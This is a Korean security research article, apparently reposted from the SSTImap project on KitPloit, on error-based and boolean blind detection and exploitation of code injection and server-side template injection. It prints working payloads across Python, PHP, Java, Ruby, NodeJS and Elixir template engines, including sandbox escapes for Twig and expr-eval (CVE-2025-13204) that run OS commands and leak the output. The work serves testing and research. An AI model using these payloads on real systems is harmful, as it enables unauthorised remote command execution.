프로그래밍 언어는 이미 어떤 코드가 실행될지를 결정하는 조건을 허용합니다. 이는 특수 언어 구조 또는 연산자를 사용하여 수행될 수 있습니다. 그러나 오류 기반 기술과 유사하게, 저는 보다 보편적인 코드 인젝션 페이로드에서 언어 구조를 피하기로 결정했습니다. 이는 많은 인젝션 컨텍스트에서 접근할 수 없기 때문입니다. 또한 삼항 조건 연산자를 사용하는 것을 피하기로 결정했습니다. 이러한 복잡한 연산자는 자체 파서를 사용하는 많은 템플릿 엔진 및 기타 인젝션 컨텍스트에서 지원되지 않을 수 있기 때문입니다.

오탐을 피하기 위해, 인젝션이 유효한 결과를 제공하지 않은 경우에 오류가 유발되어야 합니다. 인젝션이 의도적으로 유발한 오류와 페이로드가 발생시킬 수 있는 다른 오류를 구별하는 것이 불가능할 수 있기 때문입니다.

오류 탐지

부울 오류 기반 블라인드 코드 인젝션 및 SSTI 테스트를 자동화하려면 서버 응답에서 오류를 탐지하는 방법이 필요합니다. 사용자는 정상 페이지나 오류 페이지를 탐지하기 위한 정규식을 제공할 수 있지만, 응답 코드와 길이, 헤더 및 기타 매개변수를 일반 응답의 해당 매개변수와 비교하여 오류를 탐지할 수도 있습니다.

어떤 접근 방식을 선택하든, 두 쌍의 유사한 페이로드를 사용해야 합니다. 각 쌍 내의 페이로드 간 최소 차이는 WAF 또는 프록시로 인한 오류로 인한 오탐을 방지하고, 두 쌍을 사용하면 무작위 외부 문제로 인한 오탐을 완화할 수 있습니다.

애플리케이션의 일반 응답을 결정하기 위해, 대부분의 인젝션 컨텍스트에서 구문 오류를 피하기 위해 숫자 페이로드를 사용하기로 결정했습니다. 여러 응답을 비교하여 애플리케이션 응답의 가장 안정적인 매개변수를 결정합니다. 첫 번째 요청은 새 IP 주소에서의 첫 번째 연결 중 애플리케이션이 수행할 수 있는 작업의 간섭을 피하기 위해 폐기됩니다.

요청 비교를 위해 여러 매개변수가 선택되었습니다:

  • HTTP 응답 코드
  • 응답 시간
  • 응답 인코딩
  • 응답 길이(바이트)
  • 응답 길이(문자)
  • 응답의 단어 수
  • 응답의 줄 수
  • 헤더 수
  • 쿠키 수
  • 리다이렉션 수
  • 최종 페이지 URL
  • Content-Type 헤더 값
  • Server 헤더 값

매개변수는 모든 응답에 대해 동일하게 유지되거나 평균에서 5% 이내로 변동하는 경우(숫자 값의 경우) 안정적인 것으로 간주됩니다.

부울 기반 인젝션 흐름

Python

인젝션 결과의 진위 여부를 결정하기 위해 부울 값으로 나누기를 사용할 수 있습니다. 참(true) 값은 1로 변환되어 오류를 유발하지 않지만, 거짓(false) 값은 0으로 나누기 오류를 유발합니다. 이 표현식을 페이로드로 사용할 수 있습니다: 1 / ( OUTPUT )

인젝션을 탐지하기 위해 다음 두 페이로드 쌍을 사용할 수 있습니다:

  • 'a'.join('bc') == 'bac' 및 'a'.join('bc') == 'abc'
  • bool('False') == True 및 bool('True') == False

코드 실행은 bool(eval( … ))을 사용하여 가능하며, OS 명령 실행은 Python 3.6부터 os.popen( … )._proc.wait() == 0으로 확인할 수 있습니다.

대부분의 Python 기반 템플릿 엔진에서 이러한 페이로드를 그대로 사용할 수 있지만, Jinja2는 내장 Python 함수에 대한 직접 접근을 허용하지 않습니다. 결과적으로 Jinja2를 위한 페이로드는 약간 더 복잡합니다:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}

root@kitploit:~
![Jinja payload test with SSTImap](https://assets.kitploit.com/production/public/readmes/10936/9389ea206b96de22e9d5382a5e811f4277598355c20c0ed8825720b13620ddbe.png)

### PHP
PHP는 또한 `1 / ( … )`와 같은 페이로드를 사용하여 인젝션 성공 여부를 판단할 수 있습니다.
인젝션을 탐지하기 위해 다음 두 가지 페이로드 쌍이 선택되었습니다:

- `'2' + '3' == 5` and `'2' + '5' == 3`
- `strlen('2') == 1` and `strlen('1') == 2`

코드 평가 결과는 `true && eval( … )`를 사용하여 접근할 수 있으며, OS 명령 실행의 반환 코드는 `pclose(popen( … , "wb")) == 0`으로 확인할 수 있습니다.

이러한 페이로드는 **Twig**를 제외한 모든 테스트된 템플릿 엔진에서 작동합니다.
Twig 템플릿 엔진의 이전 버전에서는 다음과 같은 페이로드를 사용할 수 있습니다:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}} 

반환 코드를 얻는 것이 불가능하므로, 성공 시 출력 끝에 알려진 문자열을 추가하여 템플릿 엔진이 확인할 수 있도록 합니다. 유사한 접근 방식이 최신 버전의 Twig에서도 작동합니다:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}

root@kitploit:~
![Twig 오류](https://assets.kitploit.com/production/public/readmes/10936/e9e89c81e51a6f2eb646621a50f7ea1b46fac661d4d87dbdfb793ee1c0c0c01c.png)

### Java
다시 한 번, Java 코드 평가를 위한 보편적인 방법이 없기 때문에 지원되는 각 템플릿 엔진에 대해 서로 다른 페이로드를 만들어야 합니다.

**Spring Expression Language**의 경우 이전과 같은 아이디어를 사용했지만, 타입 변환을 위한 몇 가지 추가 수정이 필요했습니다: `1/(( … )?1:0)+""`

삼항 연산자는 결과를 `0` 또는 `1`로 변환하는 데 사용되며, 잘못된 반환 타입으로 인한 오류를 피하기 위해 빈 문자열의 연결이 사용됩니다.

탐지 페이로드의 경우 `1`을 `"".getClass().forName('java.lang.Integer').valueOf('1')`로 대체했으며, 이를 통해 인젝션이 **Java** 코드를 지원하는지 확인할 수 있습니다.

두 쌍의 탐지 페이로드에 대해 간단한 정수 덧셈을 사용했으며, 두 번째 쌍에서는 정수 오버플로우를 확인했습니다.

OS 명령어 실행은 `waitFor()` 함수의 반환 코드를 0과 비교하여 확인했습니다:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0

이러한 페이로드는 다른 유사한 표현 언어(Expression Languages)에서도 작동합니다. SpEL 인젝션이 있는지 확인하기 위해, SpEL 전용 페이로드로 교체할 수 있습니다: T(java.lang.Integer).valueOf('1') 및 T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0

SpEL error

OGNL 표현식용 페이로드는 SpEL 페이로드와 유사합니다. 정수 추가를 사용하는 동일한 페이로드 쌍과 동일한 오라클을 사용했습니다: 1/((…)?1:0)+""

OGNL 구문은 1을 @java.lang.Integer@valueOf('1')로 대체하여 확인할 수 있습니다.

SpEL과 유사하게, waitFor()를 사용하여 OS 명령의 반환 코드를 얻을 수 있습니다:```java @java.lang.Runtime@getRuntime().exec("…").waitFor()==0

root@kitploit:~
또한 **OGNL**이 암시적으로 타입을 변환하는 독특한 방식을 가지고 있다는 점을 언급할 가치가 있습니다. 연산 순서 외에도 이전에 계산된 값이 변환에 영향을 미칩니다. `1 * (123 + 456) + "abc" + 1 * (123 + 456)`와 같은 페이로드는 예상된 결과 `"579abc579"`를 얻지만, 유사한 페이로드 `(123 + 456) + "abc" + (123 + 456)`는 정수를 문자열로 변환하기 시작하여 `"579abc123456"`을 반환합니다.

![OGNL 오류](https://assets.kitploit.com/production/public/readmes/10936/829054aaeaae0f907897da75c55fa91efe0ae24ee029416675d3812e29a2bc8f.png)

**Freemarker**의 메인 페이로드는 이미 Nicolas Verdier에 의해 만들어졌습니다 [^10]:```java
${1/((…)?string('1','0')?eval)}

탐지를 위해 간단한 페이로드 쌍이 사용되었습니다. 템플릿 엔진은 이미 메인 페이로드의 구문으로 확인되었기 때문입니다:

  • 1.0 == 1.0 및 1.0 == 0.1
  • 2 > 1 및 1 > 2

OS 명령 실행 결과를 확인하기 위해 Twig에 이전에 사용되었던 기법을 사용하기로 결정했습니다:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")

root@kitploit:~
![Freemarker 오류](https://assets.kitploit.com/production/public/readmes/10936/7f9f4c5cbe3be9e222573b081dea6baccb809725ba890899f76741fe4b820f08.png)

Velocity 템플릿 엔진의 경우 `#if` 및 `#include` 지시문을 사용할 수 있습니다:

- `#if(false)#include("Y:/A:/true")#end` and `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` and `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`

OS 명령 실행 여부를 확인하려면 일반적인 렌더링 인젝션 페이로드를 수정할 수 있습니다:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end

Velocity error

Ruby

Ruby에서는 정수 값을 Boolean으로 직접 변환하는 방법이 없습니다. 이로 인해 페이로드가 조금 더 복잡해집니다: 1/(!!( ... )&&1||0)

이러한 페이로드 쌍은 Ruby 인젝션을 확인하는 데 사용될 수 있습니다:

  • (2 + 3).to_s == '5' 와 (2 + 5).to_s == '3'
  • '2'.length == 1 와 '1'.length == 2

코드 평가 결과는 !!eval( ... )을 사용하여 확인할 수 있으며, 실행된 OS 명령의 성공 여부는 system( … )을 사용하여 확인할 수 있습니다. system( … )은 출력 자체를 반환하지 않으므로 렌더링된 인젝션에는 사용되지 않습니다.

NodeJS

NodeJS에서는 0으로 나누어도 오류가 발생하지 않으므로, 페이로드는 대신 undefined 또는 리스트의 존재하는 요소의 속성에 접근하는 방법을 사용합니다: [""][0 + !( … )]["length"]

이 두 쌍은 인젝션된 언어가 NodeJS임을 확인하는 데 사용됩니다:

  • typeof(1) + 2 == "number2" 와 typeof(2) + 1 == "number2"
  • parseInt("5x") == 5 와 parseInt("x5") == 5

코드 평가는 eval()을 사용하여 직접 확인할 수 있으며, 실행된 OS 명령의 반환 코드는 NodeJS 버전 5.7 이상에서 이 페이로드를 사용하여 확인할 수 있습니다:```node require('child_process').spawnSync( … , options={shell:true}).status===0

root@kitploit:~
### Elixir
**Elixir**는 0으로 나누기를 오라클로 사용할 수 있지만, 정수로의 명시적 변환이 필요합니다.
결과적으로 `1/(( … )&&1||0)` 페이로드를 사용할 수 있습니다.

다음 페이로드 쌍을 사용하여 **Elixir** 구문을 확인할 수 있습니다:

- `String.length("2") == 1` 및 `String.length("1") == 2`
- `is_boolean(false) == true` 및 `is_boolean(true) == false`

`eval()` 코드 평가 결과를 확인하고 OS 명령 반환 코드를 비교하는 것은 다음 페이로드를 사용하여 직접 수행할 수 있습니다: `elem(Code.eval_string( … ), 0)` 및 `elem(System.shell( … ), 1) == 0`

### 일반 탐지
모든 프로그래밍 언어는 고유한 함수 이름을 가지므로 일반 탐지에 적용할 수 있는 함수를 찾는 것은 불가능합니다.
그럼에도 불구하고, 거의 모든 언어는 기본적인 수학 연산에 대해 정확히 동일한 구문을 사용합니다.
이를 통해 구문 오류를 일반 탐지에 활용할 수 있습니다:

- `(3*4/2)` 및 `3*)2(/4`
- `((7*8)/(2*4))` 및 `7)(*)8)(2/(*4`

이러한 코드 인젝션 및 SSTI의 일반 탐지 방법은 모든 프로그래밍 언어와 템플릿 엔진에 대한 지원을 별도로 추가할 필요 없이 자동화될 수 있으며, 이는 블랙박스 접근 방식을 사용한 코드 인젝션 및 SSTI의 빠른 탐지 가능성을 확장합니다.

![SSTImap이 일반 탐지 페이로드를 사용하여 탐지한 EEx 인젝션](https://assets.kitploit.com/production/public/readmes/10936/afb92860458978f4b8b74ec62dade318c4777f4833fa4896d3251476e41ffe46.png)

### 페이로드 개발
블라인드 인젝션을 탐지한 후 페이로드를 생성하기 위해, 0으로 나누기 또는 리스트나 딕셔너리에 없는 요소에 접근하는 일반적인 오류를 확인할 수 있습니다.
또한, 알려진 템플릿 엔진의 경우 `if` 문을 사용하여 조건부로 임의의 오류를 발생시킬 수 있습니다.

자동화된 탐지를 위해, 고유한 함수 이름, 구문 특징 또는 암시적 타입 변환을 사용하여 페이로드 쌍을 만들 수 있습니다.

값을 원하는 타입으로 변환하기 위해, 특정 변환 함수를 사용하거나 원하는 타입에 일반적인 연산(숫자의 경우 0 더하기, 문자열의 경우 빈 문자열 연결, Boolean의 경우 `true`와 논리곱 등)을 사용할 수 있습니다. 또한, 이중 부정을 사용하여 값을 Boolean으로 변환한 후, 삼항 연산자와 같은 조건문을 사용하여 정수로 변환할 수 있습니다.

OS 명령 실행 성공 여부를 확인하기 위해, 종료 코드를 0과 비교하거나 출력이 우리가 제공한 문자열로 끝나는지 확인할 수 있습니다.

## 실제 적용
이 연구 중 개발된 모든 기술과 페이로드는 실제 적용을 위해 오픈소스 도구 SSTImap에 추가되었습니다.
또한, 해당 기술을 내 작업에 적용하여 대부분의 경우 결과를 얻을 수 있었으며, 이는 이 연구의 단서가 되었습니다.

그 사례들 중에는 실제 웹 애플리케이션을 테스트한 예시와 알려진 취약점 악용의 기능을 확장하는 페이로드가 포함되어 있습니다.

### expr-eval (CVE-2025-13204)
새로운 기술을 실제 대상에 적용한 첫 번째 사례는 인기 있는 Discord 봇 생성기에서 발생한 코드 인젝션 취약점이었습니다.
템플릿 엔진의 태그 중 하나는 **expr-eval**이라는 취약한 NodeJS 모듈을 사용한 수학 표현식 평가를 허용했지만, 결과가 정수로 변환되어 처음에는 주입된 코드의 결과에 접근하지 못했습니다.

취약한 기능을 트리거하는 데 사용된 템플릿 엔진의 구문을 깨지 않으면서 함수 생성자에 접근할 수 있도록 기존 페이로드를 수정했습니다.
그 후 Error-Based 기법을 적용하고 `require()`를 사용하여 코드 실행 결과를 포함하는 오류를 발생시켰습니다:```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }

expr-eval error containing the results

이 경우, Error-Based 기법을 통해 당시 테스트 중이던 실제 애플리케이션에서 블라인드 코드 인젝션의 출력 결과를 얻을 수 있었습니다.

expr-eval NodeJS 모듈에서 코드 인젝션을 악용하기 위한 페이로드가 SSTImap의 추가 모듈로 포함되었으며, 별도로 설치할 수 있습니다. 이 모듈은 SSTImap에서 지원하는 네 가지 코드 인젝션 악용 기법 모두에 대한 페이로드를 포함합니다.

JSONPath Plus (CVE-2025-1302)

새로운 기법의 실용적 적용 사례로, CVE-2025-1302를 인젝션 컨텍스트의 제약 없이 악용할 수 있다는 점을 들 수 있습니다. 초기 렌더링 인젝션 페이로드는 루트 객체의 속성을 설정했지만, 이 접근 방식은 많은 인젝션 컨텍스트에서 렌더링 악용을 방해하고 나머지 컨텍스트를 추측하도록 요구했습니다.

Error-Based 기법 덕분에, 상세 오류 출력이 가능한 경우 모든 컨텍스트에서 출력 결과를 얻을 수 있게 되었습니다. Boolean Error-Based Blind 기법을 사용하면 블라인드 인젝션을 더 효과적으로 악용할 수 있으며, 빠른 데이터 추출 가능성이 열렸습니다.

Twig (CVE-2022-23614)

취약한 버전의 Twig 템플릿 엔진은 PHP 함수 이름을 포함하는 문자열을 |sort 필터의 매개변수로 전달하여 샌드박스 이스케이프를 허용합니다. 이 필터는 함수 출력을 숫자로 변환하여 배열 내 두 요소의 새로운 순서를 결정합니다.

PHP에서 system() 함수는 첫 번째 문자열만 반환하지만, 생성된 숫자와 배열 요소의 순서에 영향을 주기에 충분하여 OS 명령이 성공적으로 실행되었는지 여부를 보여줍니다. 첫 번째 요소를 예상 값과 비교하여 요소의 위치가 바뀌었는지 확인하고, 명령이 생성한 숫자가 무엇인지 이해할 수 있습니다. 결과적으로 다음과 같은 페이로드를 얻습니다:```php {% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} {{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}

root@kitploit:~
이번에는 부울 오류 기반 블라인드(Boolean Error-Based Blind)가 **Twig** 템플릿 엔진에서 블라인드 샌드박스 우회 기능을 확장하여 출력을 비트 단위로 추출할 수 있게 합니다.

또한 `system()` 및 `passthru()`와 같은 PHP 함수가 결과를 페이지에 직접 출력하므로 `ob_start()`를 사용하여 가로챌 수 있습니다.

두 번째 인수로 `ob_start()`는 우리의 출력을 인수로 받아 호출될 함수의 이름을 허용합니다.
따라서 오류 기반 출력 추출(Error-Based output exfiltration)을 위해 `call_user_func()`을 사용할 수 있습니다.

함수를 호출하고 오류를 트리거하려면 인수 없이 `ob_end_flush()`를 트리거해야 합니다.
이를 위해 빈 배열과 함께 `call_user_func_array()`를 사용할 수 있습니다.
최종 페이로드:```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}

Dust.JS

또한 Dust.JS 템플릿 엔진에 대한 페이로드를 언급하고자 합니다. NodeJS용 코드 인젝션 페이로드를 기반으로 한 오류 기반(Error-Based) 및 부울 오류 기반 블라인드(Blind) 기술은 블라인드 SSTI를 보다 효과적으로 악용할 수 있게 하며, 대상 웹사이트에 상세 오류 출력이 있을 때 결과를 얻을 수 있게 합니다.

그 후, 템플릿 컨텍스트에 변수를 추가하여 렌더링된 인젝션 중에 결과를 얻을 가능성을 연구하기로 결정했습니다. 처음에는 프로토타입 오염(Prototype Pollution)을 시도했지만, 동적 코드 생성 중에 오류가 발생하여 새 변수를 주입할 컨텍스트 객체를 찾아야 했습니다. 이를 위해 오류 기반 기술을 적용하고 전역 변수를 조사했습니다.

context라는 변수를 찾았는데, 여기에는 템플릿에 전달된 변수를 포함하는 global이라는 속성이 있었습니다. context.global의 새 속성을 추가함으로써 결과를 얻을 수 있었습니다.```node {@if cond="context.global.sstimap='test'"}{/if}{sstimap}

root@kitploit:~
이 예제는 블랙 박스 접근법을 사용하여 페이로드를 개발하는 동안 오류 기반 기법을 사용하여 인젝션 컨텍스트를 검사할 수 있는 가능성을 보여줍니다.

## 결론
본 연구의 일환으로 코드 인젝션 및 SSTI를 위한 두 가지 새로운 기법이 개발되었습니다.
**오류 기반** 기법을 사용하면 상세 오류 메시지가 사용자에게 표시되는 경우 블라인드 인젝션 결과에 접근할 수 있습니다.
**부울 오류 기반 블라인드** 기법은 **시간 기반 블라인드** 기법에서 일반적으로 사용되는 지연을 제거하여 블라인드 인젝션 악용 속도를 크게 높입니다.

두 가지 새로운 기법을 위한 페이로드가 생성되었으며, 이를 통해 여섯 가지 프로그래밍 언어에서 코드 인젝션 및 SSTI를 악용할 수 있습니다.

또한, 코드 인젝션 및 SSTI의 일반적인 탐지를 위한 컨텍스트 인식 페이로드가 도입되어, 이전에는 불가능하다고 여겨졌던 모든 가능한 언어를 테스트하지 않고도 블라인드 인젝션을 자동으로 탐지할 수 있게 되었습니다.

시연된 기법들은 겉으로 보기에는 명백한 취약점일지라도 알려진 모든 악용 기법을 문서화하는 것의 중요성을 입증합니다.
유사한 접근 방식은 SQL 인젝션 기법에서 오랫동안 사용되어 왔지만, SSTI 발견 이후 10년 동안 **오류 기반** 기법에 대한 언급이나 문서화된 페이로드가 없었습니다.
코드 인젝션 자체는 거의 문서화가 되어 있지 않아 새로운 기본 기법이 발견되는 것을 막았습니다.

이 연구는 잘 알려진 취약점에 대해서도 새로운 기법을 발견할 수 있는 잠재력을 입증했습니다.
보다 효과적인 기법 개발을 위해서는 연구자들을 위한 기법과 트릭을 담은 지식 저장소를 만들어야 하며, 이를 통해 페이로드 개발 및 다양한 시스템의 특이한 기능에 대한 지식을 문서화할 수 있습니다. 해당 지식이 시스템 악용에 직접적으로 사용되지 않더라도 말입니다.

결론적으로, 추가 연구를 위한 유망한 방향을 언급하고자 합니다.
**부울 오류 기반 블라인드** 및 **시간 기반 블라인드** 기법의 주요 개선 사항은 SQL 인젝션의 해당 기법과 유사하게 출력을 비트 단위로 유출하는 페이로드가 될 것입니다.
또한, 템플릿 엔진의 기능을 활용한 **OAST** 테스트 및 **시간 기반 블라인드** 기법 적용 가능성을 연구하면 이러한 기법이 대상 서버의 운영체제 및 사용 가능한 바이너리에 의존하지 않도록 할 수 있습니다.

## 참고문헌
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9
도구 다운로드